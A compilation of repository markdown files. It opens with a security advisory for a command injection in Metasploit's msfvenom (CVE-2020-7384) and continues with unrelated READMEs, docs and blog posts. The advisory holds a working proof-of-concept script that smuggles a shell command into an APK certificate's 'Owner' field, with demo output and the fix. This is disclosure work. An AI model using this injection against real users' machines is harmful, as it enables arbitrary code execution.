text:
# Metasploit Framework - `msfvenom` APK template command injection

CVE-2020-7384

Versions affected:

* Metasploit Framework <= 6.0.11
* Metasploit Pro <= 4.18.0

Platforms affected: Linux and macOS

Windows systems do not seem to be affected because `msfvenom`'s support for APK
templates is broken when running on Windows.

A fix for this issue was submitted at
<https://github.com/rapid7/metasploit-framework/pull/14288>. Users should
update to Metasploit Framework 6.0.12 or newer, or Metasploit Pro 4.19.0 or
newer.

## Notice regarding "attackers" and "victims"

This advisory describes a vulnerability in Metasploit Framework, which is a
framework for developing and using exploits. We normally think of the user of
Metasploit Framework as the "attacker", and the target as being the "victim".
When there's a vulnerability in offensive software such as Metasploit, the
attacker becomes the victim.

To make matters more confusing, there is now a Metasploit module that exploits
this vulnerability. Thus there could be a scenario in which a user of
Metasploit uses it to attack another user using Metasploit.

## In Brief

There is a command injection vulnerability in `msfvenom` when using a crafted
APK file as an Android payload template.

Metasploit Framework provides the `msfvenom` tool for payload generation. For
many of the payload types provided by `msfvenom`, it allows the user to provide
a "template" using the `-x` option.

For example, the documentation at
<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom#how-to-supply-a-custom-template>
explains that the following command can be used to generate a Windows
Meterpreter payload as a .exe file using the default template provided with
Metasploit.

```
./msfvenom -p windows/meterpreter/bind_tcp -f exe > new.exe
```

The following command would produce the same Meterpreter payload, but instead
of being embedded in the default template, it would be embedded within the
given `calc.exe` Windows executable file:

```
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
```

When generating Android payloads in particular, `msfvenom` can use an APK file
of the user's choosing as a template. An APK file is an Android software
package. There is a command injection vulnerability in the way that `msfvenom`
handles these APK files when used as templates.

An attacker who could trick an `msfvenom` user into using a crafted APK file as
a template could execute arbitrary commands on the user's system.

For example, an attacker could prepare and publish a crafted APK file that they
believe is an enticing template. If a user of Metasploit Framework obtains that
APK file and attempts to use it as an `msfvenom` template, arbitrary commands
can be executed on that user's machine.

Note that using any file as a payload template *should* be a safe operation for
the attacker. During payload generation, the template is not executed on the
attacker's machine. The payload is simply the file within which the generated
payload will be embedded.

## The Vulnerability

Note that links in this section point to a copy of the code as of a vulnerable
commit.

The process used by `msfvenom` for using an APK file as a template is as
follows:

1. It executes `keytool` to extract the "Owner" field from the APK's signature, as well as the signature's timestamp (<https://github.com/rapid7/metasploit-framework/blob/64695f1/lib/msf/core/payload/apk.rb#L128>)
2. It executes `keytool` to generate a new signing key and self-signed certificate based on the details extracted from the APK file in step 1 (<https://github.com/rapid7/metasploit-framework/blob/64695f1/lib/msf/core/payload/apk.rb#L194-L197>)
3. It executes `apktool` to do various decompilation operations, uses an XML parser to parse the original APK's XML manifest file, injects the payload, rebuilds the injected APK, uses `jarsigner` to sign the APK with the keys generated in step 2 and uses `zipalign` to align the APK file (<https://github.com/rapid7/metasploit-framework/blob/64695f1/lib/msf/core/payload/apk.rb#L200-L298>)

The command vulnerability is in step 2 of this process. `keytool` is executed
using the following command line:

```
keytool -genkey -v -keystore #{keystore} \
    -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \
    -keysize 2048 -startdate '#{orig_cert_startdate}' \
    -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'
```

In particular, the value for `orig_cert_dname` is obtained from step 1 of the
process, where the original APK was parsed and the "Owner" field was extracted
from the APK's signature.

This command string is passed to `Open3.popen3()`. When this function receives
a single string parameter (as opposed to multiple parameters) it effectively
acts as a `system()` function.

This gives rise to a command injection vulnerability. If a crafted APK file has
a signature with an "Owner" field containing:

* A single quote (to escape the single-quoted string)
* Followed by shell metacharacters

When that APK file is used as an `msfvenom` template, arbitrary commands can be
executed on the `msfvenom` user's system.

## POC

The following Python script will produce a crafted APK file that executes a
given command-line payload when used as a template.

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b32encode

# Change me
payload = 'echo "Code execution as $(id)" > /tmp/win'

# b32encode to avoid badchars (keytool is picky)
# thanks to @fdellwing for noticing that base64 can sometimes break keytool
# <https://github.com/justinsteven/advisories/issues/2>
payload_b32 = b32encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b32} | base32 -d | sh #"

print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Touch empty_file
open(empty_file, "w").close()

# Create apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])

# Generate signing key with malicious -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Sign APK using our malicious dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -o /dev/null")
```

## Demo

Use the above POC to generate a malicious APK file:

```
% ./msfvenom_apk_template_poc.py
[+] Manufacturing evil apkfile
Payload: echo "Code execution as $(id)" > /tmp/win
-dname: CN='|echo ZWNobyAiQ29kZSBleGVjdXRpb24gYXMgJChpZCkiID4gL3RtcC93aW4= | base64 -d | sh #

  adding: empty (stored 0%)
jar signed.

Warning:
The signer's certificate is self-signed.

[+] Done! apkfile is at /tmp/tmpbldx9xpk/evil.apk
Do: msfvenom -x /tmp/tmpbldx9xpk/evil.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -o /dev/null
```

Note that `/tmp/win` does not exist on the local machine:

```
% cat /tmp/win
cat: /tmp/win: No such file or directory
```

Use `msfvenom` and provide the malicious APK file as a template:

```
% msfvenom -x /tmp/tmpbldx9xpk/evil.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -o /dev/null
Using APK template: /tmp/tmpbldx9xpk/evil.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
Error: No such file or directory @ rb_sysopen - /tmp/d20201017-8966-1kwjoza/original/AndroidManifest.xml
```

Note that `/tmp/win` was created, proving arbitrary command execution:

```
% cat /tmp/win
Code execution as uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)
```

## Fix

A fix for the issue was submitted at
<https://github.com/rapid7/metasploit-framework/pull/14288>. The fix was to
parameterise the arguments to `popen3()`, making it an `exec()`-style process
execution function which does not honour shell metacharacters.

The fix is included in Metasploit Framework 6.0.12 and Metasploit Pro 4.19.0

## Metasploit Module

A module targeting this vulnerability has been submitted for inclusion in
Metasploit Framework. See <https://github.com/rapid7/metasploit-framework/pull/14331>

repository: justinsteven/advisories

repo_name: justinsteven/advisories


text:
# WP Composer Plugin Example

An example of a WordPress plugin using composer etc.

## Tests

Ensure you have copied across `.env` vars.

`cp tests/.env.dist tests/.env`

You can run the tests by running the following command:

`bin/phpunit`

> There is a requirement that a test database exists. You can easily create one by running `tests/create-test-db.sh`

license: MIT

repository: jenkoian/wp-composer-plugin-example

branch_name: refs/heads/main

extension: md

license_type: permissive

repo_name: jenkoian/wp-composer-plugin-example


text:
![](COOP%20logo_ST.png)

**COOP** is **C** **O**bject **O**riented **P**rogramming framework, developed by FineALGs (www.fineAlgs.com) with real time embedded systems in mind.

COOP supports **Classes** (and auto destruction at end of scope), **Inheritance** (including virtual functions), **Exceptions**, and **Memory management** infrastructure that allows you to switch between heap and **pure stack** based memory management seamlessly.

COOP aims to give lightweight syntax and minimal performance overhead for achieving efficient and **safe** embedded code.

Currently this repo features a Visual Studio 2019 solution with 3 projects:
1. **COOP** : The COOP infrastructure
2. **COOP_C_TestProxy** : Since C and C++ are compiled differently, there are parts of the COOP infrastructure that can’t be used form within a C++ project. Therefore this “Proxy” project was created for writing some of the tests.
3. **Object_unitTest**: The COOP Unit testing project.

## You can find [Usage Crash Course in the Wiki](https://github.com/ShmuelFine/COOP/wiki).

For any question, feel free to contact us at<EMAIL_ADDRESS>
Have fun!

repository: gavinlwz/COOP

branch_name: refs/heads/master

repo_name: gavinlwz/COOP


text:
# Changelog - service-finder

### 0.0.1

__Changes__

- Initialize project

__Contributors__

- mh-cbon

Released by mh-cbon, Sat 12 Nov 2016 -
[see the diff](https://github.com/mh-cbon/service-finder/compare/9f542d3db478980265588b0d2f2b1f2d7225159c...0.0.1#diff)
______________

repository: mh-cbon/service-finder

repo_name: mh-cbon/service-finder


text:
Formatting options are defined by key `-f` and is string of `key=value` pairs separated by semicolon.

Please note: The keys are case insensitive, but values are (same as ODBC connection string).
For example, next two command will produce same result:

`nisql ... out.xml -f "rows=Student"`

`nisql ... out.xml -f "ROWS=Student"`

But if you define `-f "ROWS=sTuDeNt"` you will get xml with tags "sTuDeNt".

Different output formats, recognize different set of formatting options. The option which is for wrong output format (or with any unknown key) would be ignored.

repository: White-Owl/nisql

repo_name: White-Owl/nisql


text:
This page contains instructions for Drake developers & contributors, related to
improving the tutorials or adding new ones.

# Local Editing

To rebuild from source and run tutorials using Bazel, use e.g.:
```
bazel run //tutorials:mathematical_program
```

# Style Guide

- The first cell of each notebook should be a Markdown cell with the tutorial's title and
  the following preamble:
```
For instructions on how to run these tutorial notebooks, please see the
[README](https://github.com/RobotLocomotion/drake/blob/nightly-release/tutorials/README.md).
```

- Do not use `%matplotlib notebook`. It is not supported in Deepnote.

- Deepnote (and others) use KaTeX for Latex. $\begin{aligned}math here \end{aligned}$ works.
`gathered` also works; the more typical `gather` and `align` do not.

- Clear the cell outputs prior to pushing your changes to git.

# Adding a New Tutorial

- Add a link to the notebook in `tutorials/index.ipynb`.

- In the pull request overview, include a `nbviewer` link to the directory on
your fork and branch, e.g.,
`https://nbviewer.jupyter.org/github/{user}/drake/blob/{branch}/tutorials/`

# Deploying changes

(This section is a work-in-progress.)

Once your PR has landed, use this [maintainers
notebook](https://deepnote.com/project/Tutorials-K0_FCa7yQX2kDWBx3-2RmQ/%2F.for_maintainers.ipynb)
to update Deepnote. Drake developers should request "Edit" access through the
Deepnote interface if they do not have it. Note: If your updates depend on
changes to Drake outside of the tutorials directory, then you will have to
wait for the updated nightly binaries to update Deepnote.

repository: yminchen/drake

gha_license_id: NOASSERTION

repo_name: yminchen/drake


text:
```toml
[advisory]
id = "RUSTSEC-2020-0132"
package = "array-tools"
date = "2020-12-31"
url = "https://github.com/L117/array-tools/issues/2"
categories = ["memory-corruption"]

[versions]
patched = [">= 0.3.2"]
```

# `FixedCapacityDequeLike::clone()` can cause dropping uninitialized memory

Affected versions of this crate don't guard against panics, so that partially uninitialized buffer is dropped when user-provided `T::clone()` panics in `FixedCapacityDequeLike<T, A>::clone()`. This causes memory corruption.

repository: BurntSushi/advisory-db

repo_name: BurntSushi/advisory-db


text:
---
title: Working with Fly Applications
layout: docs
sitemap: false
nav: firecracker
---

Once you have deployed a Fly application, you can view information about it, give the system secrets to share with it, and associate it with a custom domain.

## _Viewing Applications_

`flyctl` can reveal useful information about the application:

* generally about the application configuration
* specifically about the application deployment
* and historically with the applications logs

### General Information

The `info` subcommand will reveal the name of the current application, owner, a short status and the application's hostname. There's also details of how the application's ports are mapped under **Services**.

Finally, it shows the **IP Addresses** that the application is mapped to. You'll need this information for configuring your custom domains.

```cmd
flyctl info
```
```output
App
  Name     = hellofly
  Owner    = demo
  Version  = 2
  Status   = running
  Hostname = hellofly.fly.dev

Services
  TASK   PROTOCOL   PORTS
  app    tcp        80 => 8080 [HTTP]
                    443 => 8080 [TLS, HTTP]

IP Addresses
  TYPE   ADDRESS                                CREATED AT
  v4     <IP_ADDRESS>                          2020-01-17T16:51:23Z
  v6     2a09:8280:1:27a2:d07e:157d:dd9e:87d2   2020-01-17T16:51:24Z
```

The IP Address information is also available with the `flyctl ips list` command.

### Deployment Status

The `status` subcommand shows information on when the application was last deployed, what version is deployed and the status of that deployment. If
the deployment is currently running, it will also break that down. When the application is deployed, it has what are called allocations
in the various global datacenters. The `status` command will also detail those, including their status, region and when they were created.

```cmd
❯ flyctl status
```
```output
App
  Name     = hellofly
  Owner    = demo
  Version  = 3
  Status   = running
  Hostname = hellofly.fly.dev

Deployment Status
  ID          = cf39d39b-9951-0bda-ef3b-795014436095
  Version     = v3
  Status      = successful
  Description = Deployment completed successfully
  Allocations = 1 desired, 1 placed, 1 healthy, 0 unhealthy

Allocations
  ID         VERSION   REGION   DESIRED   STATUS    HEALTH CHECKS   CREATED
  61592bcb   3         ams      run       running   1 passing       39s ago
```

### Viewing Logs

Each Fly application has a log. It includes the console output of all instances of an application. Running `fly logs` you will display those logs and automatically wait for new log entries. For example, when we run the hellofly sample:

```cmd
flyctl logs
```
```output
2020-01-22T14:35:05.933Z 70fda853 ams [info] {"message":"\r","app":3366,"region":"ams","alloc":"70fda853"}
2020-01-22T14:35:05.935Z 70fda853 ams [info] - using env:	export GIN_MODE=release
2020-01-22T14:35:05.935Z 70fda853 ams [info] - using code:	gin.SetMode(gin.ReleaseMode)
2020-01-22T14:35:05.935Z 70fda853 ams [info] {"message":"\r","app":3366,"region":"ams","alloc":"70fda853"}
2020-01-22T14:35:05.936Z 70fda853 ams [info] -
2020-01-22T14:35:05.937Z 70fda853 ams [info] - hellofly.tmpl
2020-01-22T14:35:05.937Z 70fda853 ams [info] {"message":"\r","app":3366,"region":"ams","alloc":"70fda853"}
```

The log lines consist of an ISO format date and time, the allocation id - the identifier for a particular instance of the app that is running, the [region](/docs/regions/) where this instance of the app is running, the level of the attached message and then the actual log line. An entry such as

`{"message":"\r","app":3366,"region":"ams","alloc":"70fda853"}`

is recording an unhandled, and in this case incomplete, log line. It is also possible to filter by region or instance id. Consult the [`flyctl` documentation for logs](/docs/flyctl/logs/).

## _Working with Secrets_

Passing information, like credentials, to an application is handled through Fly's secrets. Create a secret value with a name and when the application runs, the secret will be available in the applications environment variables. Say we want to pass BANKPASSWORD to our sample application. In our node.js application, we can access that secret by using this code:

```bash
password=process.env.BANKPASSWORD
```

All we need to do now is set it, and that's done with `flyctl secrets set`. It takes a list of names and values as parameters.

```cmd
flyctl secrets set BANKPASSWORD="M0M0NEY"
```
```output
VERSION   TYPE      STATUS   DESCRIPTION       USER                 DATE
v1        release            Secrets updated<EMAIL_ADDRESS>        just now
```

New instances of the app will now see that value. The `secrets set` command can also set a number of secrets at the same time and take secrets from STDIN. See the [flyctl documentation for secrets set](/docs/flyctl/secrets-set/) for details.

If you need to know what secrets have been set then `flyctl secrets list` will show you:

```cmd
flyctl secrets list
```
```output
NAME           DIGEST                             DATE
BANKPASSWORD   51e7d4ab982ee30a690d12f15b866370   8m7s ago
```

It will only show you the name. The value is not shown as it is a secret.

If you need to remove a secret from an app, `flyctl secrets unset` will remove them by name

```cmd
flyctl secrets unset BANKPASSWORD
```
```output
VERSION   TYPE      STATUS   DESCRIPTION       USER                 DATE
v11       release            Secrets updated<EMAIL_ADDRESS>        just now
```

## _Fly and Custom Domains_

When you create a Fly app, it is automatically given a fly.dev sub-domain, based on the app's name. This is great for testing but when you want to go to full production you'll want your application to appear on your own domain and have HTTPS set up for you as it is with your .fly.dev domain. That's where the `flyctl certs` command comes in. But let's step back before we set up the TLS certificate, to the first step: **Directing Traffic To Your Site**.

### Setting A CNAME Record

The simplest option for directing traffic to your site is to create a CNAME record for your custom domain that points at your .fly.dev host. So if you have a custom domain called `mydreamdomain.com` and an app called exemplum.fly.dev, you can create a CNAME record for mydreamdomain.com's DNS that would look like:

```
CNAME @ exemplum.fly.dev
```

You'll need to configure this with your DNS provider.

Now, accessing `mydreamdomain.com` will tell the DNS system to look up `exemplum.fly.dev` and return its results for you.

### Setting The A Record

The other option is slightly more complicated in that it uses the IP address of the app, rather than its DNS name. The upside is that it is slightly faster.

To start, we need the Fly IP address of our deployed application. To get that, use the `flyctl ips list` command we covered earlier on.

You'll need to configure this with your DNS provider.

 but simply add in an "A Record" for your domain that points to the IP address. Once this is done and propagated through the DNS system, you should be able to connect over unencrypted HTTP to using the domain name: `http://example.com`.

If we have our domain `mydreamdomain.com`,

### Getting Certified

To enable HTTPS on the domain, you need to get a certificate. Fly does that for you automatically!
It starts with creating a certificate for *your* custom domain with `flyctl certs create example.com`:

```cmd
flyctl certs add mydreamdomain.com
```
```output
  Hostname                    = mydreamdomain.com
  Configured                  = true
  Issued                      =
  Certificate Authority       = lets_encrypt
  DNS Provider                = enom
  DNS Validation Instructions =
  DNS Validation Hostname     =
  DNS Validation Target       = mydreamdomain.com.5xzw.flydns.net
  Source                      = fly
  Created At                  = 0001-01-01T00:00:00Z
  Status                      =
```

This will start the process of getting a certificate. Run `flyctl certs show example.com` to get the details needed for your next step:

```cmd
flyctl certs show mydreamdomain.com
```
```output
  Hostname                    = mydreamdomain.com
  Configured                  = true
  Issued                      = ecdsa, rsa
  Certificate Authority       = lets_encrypt
  DNS Provider                = enom
  DNS Validation Instructions = CNAME _acme-challenge.mydreamdomain.com => mydreamdomain.com.5xzw.flydns.net.
  DNS Validation Hostname     = _acme-challenge.mydreamdomain.com
  DNS Validation Target       = mydreamdomain.com.5xzw.flydns.net
  Source                      = fly
  Created At                  = 1m24s ago
  Status                      = Ready
```

The **DNS Validation Instructions** are an *optional* next step. For a short time (minutes) after we start the process of generating
the first-ever certificate for your site, trying to load that site with an HTTPS URL will generate errors. If you'd like to make sure
those errors aren't ever visible, you can use a DNS challenge to pre-generate the certificate.

To do that, you need to create a `CNAME` DNS record which for a subdomain `_acme-challenge` of your domain (the DNS Validation host name)
and point it at the DNS Validation Target. The process will depend on your DNS provider. Once complete, and the updated DNS data has propagated, that domain will be queried and confirm you have
control of it. Certificates will be generated and installed and you will then be able to access `https://example.com` (or whatever your custom domain is called).

repository: SpaYco/docs

repo_name: SpaYco/docs


text:
---
title: YAML in automations and scripts
date: '2020-05-13T16:46:00.000+01:00'
tags:
- yaml
- home assistant core
- automation
- home assistant
modified_time: '2020-05-13T16:46:01.614+01:00'
---

I see many people struggle with the formatting for automations (and scripts) because the official docs are structured in a manner that assumes you're going to read them in order. So, I thought I'd pull together a little primer.

## YAML (very) basics

YAML largely consists of two things, dictionaries and lists. Dictionaries are the really important piece here, because they hold everything (ultimately). For example:

```yaml
homeassistant:
```

Yup, that's a dictionary. In this case it's empty, but it's a dictionary. Dictionaries can hold other dictionaries, or lists. What's a list? Here's a list example from [the documentation](https://www.home-assistant.io/docs/configuration/basic/):

```yaml
whitelist_external_dirs:
  - /usr/var/dumping-ground
  - /tmp
```

That's a list, with two entries (values). Each entry is marked by the hyphen (`-`).

You can also separate list items with commas, like this, but I find that it's often less readable:

```yaml
whitelist_external_dirs: [ /usr/var/dumping-ground, /tmp ]
```

The question that always comes up is when you use a dictionary and when you use a list. The unfortunate answer is that you have to check the documentation. Even more unfortunately, a single entry list doesn't _need_ that - so you'll sometimes see a list written like:

```yaml
whitelist_external_dirs:
  /usr/var/dumping-ground
```

That is perfectly valid, but you can see why it causes confusion.

Here's a little more from that page:

```yaml
homeassistant:
  latitude: 32.87336
  longitude: 117.22743
  whitelist_external_dirs:
    - /usr/var/dumping-ground
    - /tmp
```

That's a dictionary (`homeassistant`) holding:

*   Two dictionaries (`latitude` and `longitude`)
*   One list (`whitelist_external_dirs`)

These are the basic building blocks. If you want more on the subject see [this blog post](http://thomasloven.com/blog/2018/08/YAML-For-Nonprogrammers/).

## Spaces

With YAML, spaces (indenting) are critical. You need to keep your indenting consistent (the advice is generally to use _two spaces_ per level. Oh, and don't use tabs, unless your editor converts them to spaces. Tabs cause Home Assistant to spit out errors too. Here's an example with broken indenting that I've seen people try to use:

```yaml
automation:
  - alias: "My test automation"
      id: "unique_value_42"
      initial_state: "on"
    trigger:
      - platform: state
        entity_id:
         - switch.furnace
          - switch.extractor
```

Here is how it should look:

```yaml
automation:
  - alias: "My test automation"
    id: "unique_value_42"
    initial_state: "on"
    trigger:
      - platform: state
        entity_id:
          - switch.furnace
          - switch.extractor
```

Running a configuration check will warn you when the YAML is invalid, and it's something you should do any time you write any YAML.

## Quoting

You don't _have_ to quote things in YAML, but for strings (text) you should or the result may be unexpected. What do I mean? Well `"On"` is a string, but `On` is a boolean value. These things to humans look the same, but to the computer they're different. Similarly if you have a number, like `42`, that's a number, but if you put it in quotes, like `"42"`, then that's a string.

When you need to use multiple quotes on a line, then you need to use different ones for the outer quotes than the inner quotes, like:

```yaml
automation:
  - alias: "Tom's alarm is ringing"
```

This becomes particularly important if you're using templates.

## Case sensitivity

You also need to keep in mind that computers don't treat capital letters the same as lower case letters. The string `"home"` is different to the computer from `"Home"`, so you need to be sure which it is you're looking for.

## States

The state you see in Home Assistant's user interface may not be the actual state. You need to look at the entity in _Developer Tools_ and then [_States_](https://my.home-assistant.io/redirect/developer_states/) to see the actual state of the entity. For example, a door/window sensor will show as _Open_ or _Closed_ in the user interface, but is actually `'on'` and `'off'`.

# Automation Structure

An automation has four parts

1.  Information about the automation
2.  Trigger
3.  Condition (optional)
4.  Action

## About the automation

There are up to three things you'll have here.

1.  The first is the alias, the human readable name. This will typically be used to form the entity_id of the automation.
2.  Optionally there's an id. This is used by the automation editor and if present is used to form the entity_id (instead of the alias).
3.  Finally there's an optional initial_state. This is used to force the automation to be enabled or disabled at startup.

```yaml
automation:
  - alias: "My test automation"
    id: "unique_value_42"
    initial_state: "on"
```

The automation is a list entry, in the automation dictionary.

## Trigger

This is the bit that kicks it all off, your list of triggers. When _any_ trigger statement _becomes true_ then the processing begins. You have to have at least one trigger, and you can have as many as you need. It's worth taking the time now to [read the triggers page](https://www.home-assistant.io/docs/automation/trigger/), and see what's possible (and what causes a trigger to become true). Here's a simple one:

```yaml
    trigger:
      - platform: state
        entity_id: device_tracker.tinkerer
        to: 'home'
```

I've used the list indicator here, even though I only have one trigger.  This will trigger when `device_tracker.tinkerer` becomes `'home'`. Here is a more complex one:

```yaml
    trigger:
      - platform: state
        entity_id: device_tracker.tinkerer
        to: 'home'
      - platform: state
        entity_id: device_tracker.better_half
        to: 'home'
```

Two triggers - here the automation will start processing if either `device_tracker.tinkerer` or `device_tracker.better_half` become `'home'`. Since both are looking for the same target state, I could have written the more compact version:

```yaml
    trigger:
      - platform: state
        entity_id:
          - device_tracker.tinkerer
          - device_tracker.better_half
        to: 'home'
```

I prefer this, partly because it's more compact, but also because it's much easier to read.

## Conditions

Conditions are optional - you don't need any if your automation doesn't call for one.

All the conditions in the list have to be _currently_ true for the automation to run. There are [many available conditions](https://www.home-assistant.io/docs/scripts/conditions/), including some that allow you to say that _this or that_ must be true. Conditions are particularly useful when you have multiple triggers, and want them all to be true for the automation to run. With conditions however you have to list each separately, you can't combine them like we did for triggers:

```yaml
    condition:
      - condition: state
        entity_id: device_tracker.tinkerer
        state: 'home'
      - condition: state
        entity_id: device_tracker.better_half
        state: 'home'
```

Here we require that both device trackers are _currently_ in the state `'home'`. If the automation is triggered by me arriving home, while the wife is still away, then one condition will be false, and the automation won't run.

## Actions

This is where things happen. Actions are [basically scripts](https://www.home-assistant.io/docs/scripts/) - a list of actions to take in sequence. That means you can call services (do things), check conditions, pause for a fixed time (`delay`) or until a [template](https://www.home-assistant.io/docs/configuration/templating/) becomes true (`wait_template`), or send events. You have at least one, and potentially _many_ actions. If any step fails (or returns false) then the automation stops at that point. This is handy for condition checks, and not so handy at other times.

With a service call you can generally give one, or many, entities, for example:

```yaml
    action:
      - service: switch.turn_on
        entity_id:
          - switch.furnace
          - switch.extractor
      - condition: state
        entity_id: sun.sun
        state: 'below_horizon'
      - service: light.turn_on
        data:
          entity_id: light.basement, light.stairwell
```

Here I've shown the two different ways of listing multiple entities - I prefer the first method. You'll see that one of these has a data block, and one doesn't. Generally speaking, you need a data block where you're providing more than just an `entity_id`, but it's best to simply follow what's in the documentation.

This particular action block will turn on two switches, and then only if the state of `sun.sun` is `'below_horizon'` will it turn on the two lights.

gha_language: HTML

gha_license_id: MIT


text:
# nanopq

[![Build Status](https://github.com/matsui528/nanopq/actions/workflows/build.yml/badge.svg)](https://github.com/matsui528/nanopq/actions)
[![Documentation Status](https://readthedocs.org/projects/nanopq/badge/?version=latest)](https://nanopq.readthedocs.io/en/latest/?badge=latest)
[![PyPI version](https://badge.fury.io/py/nanopq.svg)](https://badge.fury.io/py/nanopq)
[![Downloads](https://pepy.tech/badge/nanopq)](https://pepy.tech/project/nanopq)

Nano Product Quantization (nanopq): a vanilla implementation of Product Quantization (PQ) and Optimized Product Quantization (OPQ) written in pure python without any third party dependencies.

## Installing
You can install the package via pip. This library works with Python 3.5+ on linux.
```
pip install nanopq
```

## [Documentation](https://nanopq.readthedocs.io/en/latest/index.html)
- [Tutorial](https://nanopq.readthedocs.io/en/latest/source/tutorial.html)
- [API](https://nanopq.readthedocs.io/en/latest/source/api.html)

## Example

```python
import nanopq
import numpy as np

N, Nt, D = 10000, 2000, 128
X = np.random.random((N, D)).astype(np.float32)  # 10,000 128-dim vectors to be indexed
Xt = np.random.random((Nt, D)).astype(np.float32)  # 2,000 128-dim vectors for training
query = np.random.random((D,)).astype(np.float32)  # a 128-dim query vector

# Instantiate with M=8 sub-spaces
pq = nanopq.PQ(M=8)

# Train codewords
pq.fit(Xt)

# Encode to PQ-codes
X_code = pq.encode(X)  # (10000, 8) with dtype=np.uint8

# Results: create a distance table online, and compute Asymmetric Distance to each PQ-code
dists = pq.dtable(query).adist(X_code)  # (10000, )
```

## Author
- [Yusuke Matsui](http://yusukematsui.me)

## Contributors
- [@calvinmccarter](https://github.com/calvinmccarter) implemented parametric initialization for OPQ ([#14](https://github.com/matsui528/nanopq/pull/14))
- [@de9uch1](https://github.com/de9uch1) exntended the interface to the faiss so that OPQ can be handled ([#19](https://github.com/matsui528/nanopq/pull/19))

## Reference
- [H. Jegou, M. Douze, and C. Schmid, "Product Quantization for Nearest Neighbor Search", IEEE TPAMI 2011](https://ieeexplore.ieee.org/document/5432202/) (the original paper of PQ)
- [T. Ge, K. He, Q. Ke, and J. Sun, "Optimized Product Quantization", IEEE TPAMI 2014](https://ieeexplore.ieee.org/document/6678503/) (the original paper of OPQ)
- [Y. Matsui, Y. Uchida, H. Jegou, and S. Satoh, "A Survey of Product Quantization", ITE MTA 2018](https://www.jstage.jst.go.jp/article/mta/6/1/6_2/_pdf/) (a survey paper of PQ)
- [PQ in faiss](https://github.com/facebookresearch/faiss/wiki/Faiss-building-blocks:-clustering,-PCA,-quantization#pq-encoding--decoding) (Faiss contains an optimized implementation of PQ. [See the difference to ours here](https://nanopq.readthedocs.io/en/latest/source/tutorial.html#difference-from-pq-in-faiss))
- [Rayuela.jl](https://github.com/una-dinosauria/Rayuela.jl) (Julia implementation of several encoding algorithms including PQ and OPQ)
- [PQk-means](https://github.com/DwangoMediaVillage/pqkmeans) (clustering on PQ-codes. The implementation of nanopq is compatible to [that of PQk-means](https://github.com/DwangoMediaVillage/pqkmeans/blob/master/tutorial/1_pqkmeans.ipynb))
- [Rii](https://github.com/matsui528/rii) (IVFPQ-based ANN algorithm using nanopq)
- [Product quantization in Faiss and from scratch](https://www.youtube.com/watch?v=PNVJvZEkuXo) (Related tutorial)

gha_language: Python


text:
# gocert

A golang certificate generation engine and server.
The server automates the generation of server and client TLS certificates from a self signed CA.

:warning: :warning: :warning: This is a hobby project not intended for inclusion. Any use of <b>go get <this project></b> is almost certainly guaranteed to break.

[![GoDoc][1]][2]
[![GoCard][3]][4]
[![CodeCov][5]][6]

[1]: https://godoc.org/github.com/mlctrez/gocert?status.svg
[2]: https://godoc.org/github.com/mlctrez/gocert
[3]: https://goreportcard.com/badge/github.com/mlctrez/gocert
[4]: https://goreportcard.com/report/github.com/mlctrez/gocert
[5]: https://codecov.io/gh/mlctrez/gocert/branch/master/graph/badge.svg
[6]: https://codecov.io/gh/mlctrez/gocert

repository: mlctrez/gocert

repo_name: mlctrez/gocert


text:
---
layout:     post
title:      "io里程碑：css/js 全局调用及调通"
subtitle:   "完成css/js 的路径设置，可被全局文件调用"
date:       2017-07-10 12:00:00
author:     "o0TT0o"
header-img: "img/post-bg-06.jpg"
---

## 完成css/js 的路径设置，可被全局文件调用

### 参考:
- [How to deploy a jekyll site locally with css, js and background images included?](https://stackoverflow.com/questions/7985081/how-to-deploy-a-jekyll-site-locally-with-css-js-and-background-images-included)

#### 致谢以上


text:
# One Dark Pro for RStudio
![](img/rstudio-onedark.png)

A 'Total IDE' build of the One Dark Pro theme for RStudio!

## Installation

**FIRST**: In RStudio, go to Global Options -> Appearance and ensure either `Modern` or `Sky` are selected as the `RStudio Theme` at the top

### Automatic

Run the following snippet in the RStudio Console:

```r
rstudioapi::addTheme('https://raw.githubusercontent.com/johnnybarrels/rstudio-one-dark-pro-theme/master/OneDarkPro.rstheme', apply=TRUE, force=TRUE)
```

Note that this will override any other theme named 'One Dark Pro' you may have (this can be controlled by removing the `force=True` argument).

If you get the error:
```rr
Error in loadNamespace(name) : there is no package called 'rstudioapi'
```
run `install.packages('rstudioapi')` and try again.

### Manual

- Download the `OneDarkPro.rstheme` file from this repository (or clone)
- In RStudio go to Global Options -> Appearance, and click the `Add...` button under Editor Theme
- Navigate to the downloaded `OneDarkPro.rstheme` file, hit `Open` and you're good to go

## Info

This theme was adapted from [this theme](https://github.com/patrickshox/Mojave-Dark-RStudio-Theme), many thanks to Patrick for working out how to theme more than just the code editor in RStudio!

